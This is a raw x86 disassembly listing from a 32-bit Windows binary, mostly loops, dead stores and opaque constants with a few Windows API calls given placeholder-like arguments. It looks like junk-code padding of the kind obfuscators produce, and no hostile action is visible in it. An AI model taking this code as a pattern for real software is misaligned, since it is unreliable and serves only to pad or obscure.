je 0x1002ef79
push eax
push eax
push eax
push eax
push eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002efb6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ef95
push 0x947
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002efb3
push eax
push eax
push 0x1aa5
push 0x54a
push eax
call dword [sym.imp.USER32.dll_InsertMenuW]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x1002ef7e
inc dword [ebp - 0x24]
push 4
pop ecx
cmp dword [ebp - 0x24], ebx
jle 0x1002ef63
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1002ef58
dec dword [ebp - 0x14]
jns 0x1002ef4c
xor eax, eax
jmp 0x1002ee36
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x128], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x128]
dec dword [ebp - 0x18]
jns 0x1002eed3
xor edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x18], 0xfffffff6
cmp dword [ebp - 0x18], 0xffffffe7
jg 0x1002f08a
push 5
pop ecx
mov dword [ebp - 0x500], ecx
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x4f8], ecx
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0x10
je 0x1002f081
mov dword [ebp - 0x38], eax
jmp 0x1002f055
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xc20], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1002f048
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0xc20]
inc dword [ebp - 0x4fc]
cmp dword [ebp - 0x4fc], 0x10
push 0
pop eax
jne 0x1002f043
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe7
jle 0x1002f016
mov dword [ebp - 0x40], 0xb24ce554
mov dword [ebp - 0x24], 0xf6af1124
mov dword [ebp - 0x14], 0xfddd3f46
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], 0x6874be76
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe6
je 0x1002f131
mov dword [ebp - 0x14], 0x3fa75c19
mov dword [ebp - 0x14], 0xffffffe7
jmp 0x1002f11e
mov dword [ebp - 0x34], 2
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
sub edx, 0x3026d8d
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
sete cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0x38e486ae
setge cl
xor edx, edx
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jne 0x1002f0cc
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe6
jne 0x1002f0bc
xor edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x14], 0xfaeb382
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0xde467b47
mov dword [ebp - 0x38], eax
jmp 0x1002f158
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x104], 0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jl 0x1002f147
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
sub ecx, eax
mov eax, dword [ebp - 0x100]
add eax, ecx
je 0x1002f182
xor eax, eax
cmp dword [ebp - 0x100], eax
je 0x1002f184
jmp 0x1002f186
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x100]
add edx, 0xffff5572
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x100]
cmp edx, eax
mov eax, dword [ebp - 0x100]
setg cl
xor edx, edx
sub eax, ecx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setg dl
xor eax, eax
test edx, edx
sets al
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x100]
cmp ecx, eax
mov eax, dword [ebp - 0x104]
setl dl
xor ebx, ebx
cmp edx, 0x2715ee56
setle bl
xor ecx, ecx
cmp ebx, eax
setne cl
mov dword [ebp - 0x24], ecx
imul ecx, dword [ebp - 0x14], 0xd478
mov eax, dword [ebp - 0x100]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
test eax, eax
jne 0x1002f25c
xor ebx, ebx
inc ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x1002f252
jmp 0x1002f21e
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002f238
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f235
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1002f223
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x104], 0
jne 0x1002f252
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1002f21c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
xor eax, eax
jmp 0x1002f278
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xc
je 0x1002f275
dec dword [ebp - 0x40]
inc dword [ebp - 0x14]
jmp 0x1002f267
xor ebx, ebx
inc ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f28f
push eax
push 0x2124
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
xor eax, eax
mov dword [ebp - 0x28], 0xbecba2af
mov dword [ebp - 0x28], 0xa888adae
mov dword [ebp - 0x28], 0xf1d8987
mov dword [ebp - 0x40], 0xe700d62e
push 3
mov dword [ebp - 0x30], eax
pop ecx
cmp dword [ebp - 0x30], ecx
jge 0x1002f2ce
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1210], 0xd33a
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002f2b6
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jge 0x1002f2ee
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1228], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002f2d6
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jge 0x1002f30e
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1240], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002f2f6
xor eax, eax
inc dword [ebp - 0x40]
or edx, 0xffffffff
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x38], 0xc0aa39ed
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x50], 0xae857b1a
mov dword [ebp - 0x40], 0xb6ac39b3
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x44], 0xa7bb
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jge 0x1002f367
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xa24], 9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002f34f
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002f37d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1a8], 0x5243b9c
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002f36c
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18], 0xb384
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, edx
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0xa20], ecx
mov eax, dword [ebp - 0x18]
add eax, 0x9600b356
add ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
mov dword [ebp - 0x50], edx
xor edx, edx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 0x18]
sets dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setne cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x1a8], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002f42e
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
cmp eax, 8
jne 0x1002f44e
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xa20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
cmp eax, 0xe7ea
setne cl
xor eax, eax
neg ecx
je 0x1002f477
mov edx, ebx
cmp dword [ebp - 0xa20], eax
jne 0x1002f479
mov edx, eax
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002f4a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x590], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002f490
xor eax, eax
mov dword [ebp - 0x18], 0xf4f46db5
or ecx, 0xffffffff
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x38], 0xd214c405
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 0x2b5725d3
push 3
pop edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002f4f2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1dc], 0x2d5e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002f4da
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002f510
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfd4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002f4fb
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002f54a
mov dword [ebp - 0x40], 0xc370
xor ecx, ecx
mov dword [ebp - 0x44], 0x990069f3
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1dc]
cmp eax, 0x7186
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002f518
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002f614
mov dword [ebp - 0x28], 0x2aee5a98
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x38], eax
jmp 0x1002f576
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1258], 0xf9f7c8b1
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x1002f565
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x1dc]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1dc], ecx
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002f600
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edx
jge 0x1002f5b8
or ecx, 0xffffffff
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1270], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1002f5a4
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002f5d8
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xbdc], 0x19adb821
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002f5c0
dec dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002f5fd
cmp dword [ebp - 0x38], eax
jle 0x1002f596
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
push 0
pop eax
jle 0x1002f556
push 4
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002f637
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x102c], 0x5a83d87
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f61f
xor eax, eax
mov dword [ebp - 0x40], 0xb905d09e
mov dword [ebp - 0x40], 0x1738ab65
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x44], 0xb7ab
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002f673
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x614], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002f65b
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f689
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc30], 0x631615e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002f678
mov eax, dword [ebp - 0x60c]
xor eax, eax
cmp dword [ebp - 0x610], eax
jne 0x1002f6ac
cmp dword [ebp - 0x610], 0x66a0
mov edx, eax
jg 0x1002f6ae
mov edx, ebx
mov eax, dword [ebp - 0x610]
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x44]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setl dl
xor ebx, ebx
cmp edx, 0x83dc
setl bl
xor ecx, ecx
cmp eax, ebx
setge cl
xor eax, eax
mov dword [ebp - 0xc28], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffec
je 0x1002f70e
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0xc2c], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffec
jne 0x1002f6f7
push 7
pop ecx
mov dword [ebp - 0x320], ecx
push 5
pop ecx
cmp dword [ebp - 0x320], ecx
jl 0x1002fc3e